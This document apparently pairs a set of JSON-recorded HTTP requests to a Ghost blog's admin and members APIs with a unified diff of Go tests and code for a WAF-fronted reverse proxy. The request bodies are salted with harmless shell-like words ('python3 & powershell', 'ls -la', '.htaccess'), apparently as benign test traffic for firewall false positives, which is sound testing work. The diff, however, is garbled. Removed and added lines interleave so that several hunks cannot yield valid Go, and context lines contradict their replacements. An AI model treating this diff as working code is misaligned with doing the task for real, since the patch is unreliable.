 {"method": "POST", "target": "/ghost/api/admin/authentication/invitation/", "headers": ["Host: example.com", "Content-Length: 243", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"invitation\":[{\"token\":\"MTc5NTA2MzQ4MjU5MnxlcmluLmh0YWNjZXNzQGV4YW1wbGUuY29tfDUxbkp4aWJ4SzA4NzN0eUtIQWl5YzhyWFhKTjA0aWJ1ZDExendTVHQrSU09\",\"name\":\"Erin python3 & .htaccess\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\",\"email\":\"erin.htaccess@example.com\"}]}"}
 {"method": "PUT", "target": "/ghost/api/admin/tiers/6af54437a509340001efcef1/", "headers": ["Host: example.com", "Content-Length: 474", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"tiers\":[{\"id\":\"6af54437a509340001efcef1\",\"name\":\"python3 & powershell club\",\"description\":\"Weekly ls -la and .htaccess tips\",\"slug\":\"default-product\",\"active\":true,\"type\":\"paid\",\"welcome_page_url\":null,\"created_at\":\"2026-11-12T04:44:39.000Z\",\"updated_at\":\"2026-11-12T04:44:39.000Z\",\"visibility\":\"public\",\"benefits\":[\"python3 scripts\",\"powershell recipes\",\"ls -la cheat sheet\",\".htaccess examples\"],\"currency\":\"USD\",\"monthly_price\":500,\"yearly_price\":5000,\"trial_days\":0}]}"}
 {"method": "POST", "target": "/ghost/api/admin/offers/", "headers": ["Host: example.com", "Content-Length: 391", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"offers\":[{\"name\":\"python3 launch\",\"code\":\"python3-launch\",\"display_title\":\"powershell & python3 deal\",\"display_description\":\"Half off for ls -la and .htaccess fans\",\"type\":\"percent\",\"cadence\":\"month\",\"amount\":50,\"duration\":\"once\",\"duration_in_months\":null,\"currency_restriction\":false,\"currency\":null,\"status\":\"active\",\"redemption_type\":\"signup\",\"tier\":{\"id\":\"6af54437a509340001efcef1\"}}]}"}
 {"method": "POST", "target": "/ghost/api/admin/recommendations/", "headers": ["Host: example.com", "Content-Length: 288", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"recommendations\":[{\"title\":\"python3 & powershell weekly\",\"description\":\"Tips on ls -la and .htaccess files\",\"excerpt\":\"A newsletter about python3, powershell, ls -la and .htaccess.\",\"featured_image\":null,\"favicon\":null,\"url\":\"https://example.com/python3/\",\"one_click_subscribe\":false}]}"}
 {"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 55", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\"}]}"}
 {"method": "PUT", "target": "/ghost/api/admin/integrations/6af5443aa509340001efcfc6/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\",\"description\":\"Runs ls -la and tidies .htaccess files\",\"icon_image\":null}]}"}
 {"method": "POST", "target": "/ghost/api/admin/webhooks/", "headers": ["Host: example.com", "Content-Length: 202", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"webhooks\":[{\"event\":\"post.published\",\"target_url\":\"https://example.com/hooks/python3\",\"name\":\"python3 & powershell hook\",\"secret\":null,\"api_version\":\"v6\",\"integration_id\":\"6af5443aa509340001efcfc6\"}]}"}
 {"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 699", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"tags\":[{\"name\":\"Shell\",\"slug\":\"shell\",\"description\":null,\"feature_image\":null,\"meta_title\":\"python3 & powershell tips\",\"meta_description\":\"Run ls -la and tidy .htaccess files with python3.\",\"canonical_url\":\"https://example.com/tag/python3/\",\"twitter_image\":null,\"twitter_title\":\"powershell & python3\",\"twitter_description\":\"ls -la, .htaccess and more\",\"og_image\":null,\"og_title\":\"python3 & powershell\",\"og_description\":\"ls -la and .htaccess tips\",\"codeinjection_head\":\"<meta name=\\\"google-site-verification\\\" content=\\\"x\\\"><link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\",\"codeinjection_foot\":\"<style>.tag-python3 { color: #333; }</style>\",\"accent_color\":null,\"visibility\":\"public\"}]}"}
 {"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 315", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"title\":\"Shell notes\",\"feature_image\":\"https://images.example.com/terminal.png\",\"feature_image_alt\":\"A terminal running ls -la on .htaccess with python3\",\"feature_image_caption\":\"python3 &amp; powershell, photo by <a href=\\\"https://example.com/ls-la\\\">Erin</a>\"}]}"}
 {"method": "POST", "target": "/ghost/api/admin/members/upload/", "headers": ["Host: example.com", "Content-Length: 990", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: multipart/form-data; boundary=----WebKitFormBoundaryq3Lm8vXc2TzR7wKd", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"membersfile\"; filename=\"members.csv\"\r\nContent-Type: text/csv\r\n\r\nemail,name,note,labels\r\npython3.dev@example.com,Grace python3,Asked about ls -la,powershell\r\nerin.htaccess@example.com,Erin,Tidies .htaccess files,python3\r\n\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npython3 import\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npowershell & .htaccess\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[email]\"\r\n\r\nemail\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[name]\"\r\n\r\nname\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[note]\"\r\n\r\nnote\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[labels]\"\r\n\r\nlabels\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd--\r\n"}
 {"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&pathname=%2Fpython3-and-powershell%2F", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
 {"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&source=powershell.example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
 {"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&utm_campaign=powershell+%26+python3", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
 {"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical&newsletter=default-newsletter&email_segment=label%3Apowershell-users", "headers": ["Host: example.com", "Content-Length: 74", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"status\":\"published\"}]}"}
 {"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27powershell+%26+python3%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
 {"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27ls+-la+%26+.htaccess%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
 {"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 161", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"status\":\"published\",\"html\":\"<p>Thanks! I ran <code>ls -la</code> and fixed my .htaccess with python3.</p>\"}]}"}
 {"method": "PUT", "target": "/members/api/comments/6af5443ba509340001efd00b/", "headers": ["Host: example.com", "Content-Length: 140", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"id\":\"6af5443ba509340001efd00b\",\"html\":\"<p>Thanks! I ran ls -la, then powershell, and fixed my .htaccess with python3.</p>\"}]}"}
 {"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 220", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"parent_id\":\"6af5443ba509340001efd00b\",\"in_reply_to_id\":\"6af5443ba509340001efd00b\",\"status\":\"published\",\"html\":\"<p>Same here: python3 &amp; powershell both work.</p>\"}]}"}
 {"method": "GET", "target": "/members/api/comments/post/6af5443ba509340001efcfd1/?limit=20&filter=created_at%3A%3C%3D2026-11-12T04%3A44%3A43.000Z&page=2&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}
 {"method": "GET", "target": "/members/api/comments/6af5443ba509340001efd00b/replies/?limit=5&filter=id%3A%3E%276af5443ba509340001efd010%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}
@@ -26,10 +26,6 @@ import (
 // post is the start of a POST whose headers end with what follows it.
 const post = "POST / HTTP/1.1\r\nHost: site.example\r\n"
 // limitPastFirstPart is a SWW_RPROXY_MAX_REQUEST_SIZE past the first part of a
 // body, the 64 KiB rproxy reads before it asks waf.
 const limitPastFirstPart = "128K"
 // announcedLength is the header that announces a body of size bytes, and the
 // end of the headers.
 func announcedLength(size int) string {
@@ -79,10 +75,7 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
 		size, asked int
 	}{
 		{"with the limit within the first part", "1K", 1025, 1024},
-		{
+		{"with the limit past the first part", "128K", 129 << 10, questionBodyMaxBytes},
 			"with the limit past the first part", limitPastFirstPart, 129 << 10,
 			questionBodyMaxBytes,
 		},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
@@ -100,15 +93,10 @@ func TestABodyAnnouncedOverItsLimitIsRefusedOnceWAFAllowsIt(t *testing.T) {
 				},
 			)
-			// The visitor sends no Connection: close, so Go's server reads the rest
+			got := visit(t, newRequest(t, http.MethodPost, addr, "/",
-			// of the body before it closes the connection. Closed with the rest
+				bytes.NewReader(make([]byte, tc.size))))
-			// unread, the connection is reset while the visitor still sends.
+			if got.status != http.StatusRequestEntityTooLarge {
-			conn := dial(t, addr)
+				t.Errorf("answered %+v, want 413", got)
 			send(t, conn, post+announcedLength(tc.size)+
 				strings.Repeat("x", tc.size))
 			if status := readStatus(t, conn); status != http.StatusRequestEntityTooLarge {
 				t.Errorf("status %d, want 413", status)
 			}
 			if asked := standIn.question(t); len(asked.body) != tc.asked {
@@ -143,134 +131,6 @@ func TestADenyOutranksTheBodySizeLimit(t *testing.T) {
 	}
 }
 func TestAVisitorSendingConnectionCloseReadsAnAnswerBeforeTheRestOfItsBody(
 	t *testing.T,
 ) {
 	t.Parallel()
 	for _, tc := range []struct {
 		name   string
 		waf    http.HandlerFunc
 		rest   int
 		status int
 	}{
 		{"over the size limit", allow, 65 << 10, http.StatusRequestEntityTooLarge},
 		{"denied", deny, 65 << 10, http.StatusForbidden},
 		// rproxy reads 256 KiB of this rest. What it leaves unread must fit in the
 		// connection's buffers. Otherwise the visitor is still sending when the
 		// connection closes, and gets a reset.
 		{
 			"with more than 256 KiB left", allow, 272 << 10,
 			http.StatusRequestEntityTooLarge,
 		},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
 			standIn := startWAF(t, tc.waf)
 			app := startApp(t, func(http.ResponseWriter, *http.Request) {
 				t.Error("the app was asked")
 			})
 			addr, _ := startRProxy(t, standIn.URL, app.URL,
 				map[string]string{maxRequestSize: limitPastFirstPart})
 			conn := dial(t, addr)
 			send(t, conn, post+"Connection: close\r\n"+
 				announcedLength(questionBodyMaxBytes+tc.rest)+
 				strings.Repeat("x", questionBodyMaxBytes))
 			reader := bufio.NewReader(conn)
 			res, err := http.ReadResponse(reader, nil)
 			if err != nil {
 				t.Fatalf("read the answer: %v", err)
 			}
 			_, _ = io.Copy(io.Discard, res.Body)
 			_ = res.Body.Close()
 			if res.StatusCode != tc.status {
 				t.Errorf("status %d, want %d", res.StatusCode, tc.status)
 			}
 			// The rest goes in small parts, so that a reset fails a later one.
 			for sent := 0; sent < tc.rest; sent += 1 << 10 {
 				send(t, conn, strings.Repeat("x", 1<<10))
 			}
 			got, err := io.ReadAll(reader)
 			if err != nil || len(got) != 0 {
 				t.Errorf(
 					"after the answer, read %q and %v, want the end",
 					got,
 					err,
 				)
 			}
 		})
 	}
 }
 func TestCloseDoesNotWaitForTheRestOfTheBodyOfAVisitorSendingConnectionClose(
 	t *testing.T,
 ) {
 	t.Parallel()
 	standIn := startWAF(t, func(w http.ResponseWriter, _ *http.Request) {
 		w.Header().Set(dispositionHeader, dispositionClose)
 		w.WriteHeader(http.StatusOK)
 	})
 	app := startApp(t, func(http.ResponseWriter, *http.Request) {
 		t.Error("the app was asked")
 	})
 	// The request time limit is far longer than dial's deadline.
 	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
 		maxRequestTime: "120000",
 	})
 	conn := dial(t, addr)
 	send(t, conn, post+"Connection: close\r\n"+
 		announcedLength(2*questionBodyMaxBytes)+
 		strings.Repeat("x", questionBodyMaxBytes))
 	// If the connection stays open, dial's deadline ends this read with a timeout.
 	text, err := io.ReadAll(conn)
 	if err != nil || len(text) != 0 {
 		t.Errorf(
 			"read %q (%v), want the connection closed without an answer",
 			text,
 			err,
 		)
 	}
 }
 func TestAVisitorSendingConnectionCloseGetsTheEndOfAnAnswerWithoutContentLengthAtOnce(
 	t *testing.T,
 ) {
 	t.Parallel()
 	standIn := startWAF(t, allow)
 	// The flush has the app's server send greeting in chunks instead of adding a
 	// Content-Length.
 	app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
 		rc := http.NewResponseController(w)
 		_ = rc.EnableFullDuplex()
 		_, _ = io.WriteString(w, greeting)
 		_ = rc.Flush()
 	})
 	// The request time limit is far longer than dial's deadline.
 	addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
 		maxRequestTime: "120000",
 	})
 	conn := dial(t, addr)
 	send(t, conn, post+"Connection: close\r\n"+
 		announcedLength(2*questionBodyMaxBytes)+
 		strings.Repeat("x", questionBodyMaxBytes+1))
 	wantGreeting(t, readAnswer(t, conn))
 }
 func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
 	t.Parallel()
@@ -283,7 +143,7 @@ func TestABodyNotAnnouncedOverItsLimitIsRefused(t *testing.T) {
 		mayReachApp bool
 	}{
 		{"within the first part", "1K", 2 << 10, false},
-		{"past the first part", limitPastFirstPart, 129 << 10, true},
+		{"past the first part", "128K", 129 << 10, true},
 	} {
 		t.Run(tc.name, func(t *testing.T) {
 			t.Parallel()
@@ -38,10 +38,6 @@ const plainText = "text/plain; charset=utf-8"
 // and the visitor then gets a closed connection and no answer.
 const minSendTime = 10 * time.Second
 // maxBodyReadAfterAnswer is the most of a body left unread that Go's server
 // reads once the handler returns, for a visitor without Connection: close.
 const maxBodyReadAfterAnswer = 256 << 10
 // errResponseTooLate refuses an app's answer that arrives once
 // SWW_RPROXY_MAX_RESPONSE_TIME_MS has run out.
 var errResponseTooLate = errors.New(
@@ -342,8 +338,8 @@ func (rq *request) answer(status int) {
 	}
 	// A visitor found too slow is read no more; any other may go on sending until
-	// its time is up, so that the rest of the body is read and the request ends
+	// its time is up, so that Go's server can read the rest of the body and end
-	// cleanly: by Go's server, or by readRestOfBody.
+	// the request cleanly.
 	deadline := rq.requestDeadline()
 	if status == http.StatusRequestTimeout {
 		deadline = time.Now()
@@ -527,35 +523,10 @@ func (rq *request) stopReadingBody(deadline time.Time) {
 	_ = rq.rc.SetReadDeadline(deadline)
 }
 // readRestOfBody reads up to 256 KiB of the rest of the body once the visitor
 // has been answered with a Content-Length, until the read deadline already set on
 // the connection. It does this only for a body with a declared length from a
 // visitor that sent Connection: close, because Go's server reads none of that
 // rest. Without the read, the visitor, still sending, gets a reset and may never
 // read the answer. Go's server ends an answer without a Content-Length only once
 // the handler returns, so reading first would hold back the end of that answer.
 // Past 256 KiB, the MaxBytesReader made with Go's own ResponseWriter has Go's
 // server tell the visitor it sends no more, then wait 500 ms before it closes
 // the connection.
 func (rq *request) readRestOfBody() {
 	if !rq.in.Close || rq.in.ContentLength <= 0 || rq.body.received.Load() ||
 		rq.out.Header().Get("Content-Length") == "" ||
 		rq.out.status == http.StatusSwitchingProtocols {
 		return
 	}
 	rest := http.MaxBytesReader(
 		rq.out.ResponseWriter,
 		rq.in.Body,
 		maxBodyReadAfterAnswer,
 	)
 	_, _ = io.Copy(io.Discard, rest)
 }
 // stopPassingOnBody ends the transport's reading of a visitor's body that has
-// not arrived whole, and lets Go's server, or readRestOfBody, read the rest until
+// not arrived whole, and lets Go's server read the rest until deadline. Go's
-// deadline. Go's server reads it once the handler returns, but with no deadline
+// server reads it once the handler returns, but with no deadline at all if
-// at all if another read of it is still waiting.
+// another read of it is still waiting.
 func (rq *request) stopPassingOnBody(deadline time.Time) {
 	if rq.body == nil || rq.body.received.Load() {
 		return
@@ -169,7 +169,6 @@ func newWAFTransport() *http.Transport {
 // it writes the request's log line and sends its report.
 func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 	rq := h.newRequest(w, r)
 	defer rq.readRestOfBody()
 	defer rq.finish(r.Context())
 	if r.Method == http.MethodGet && r.URL.Path == waf.HealthPath {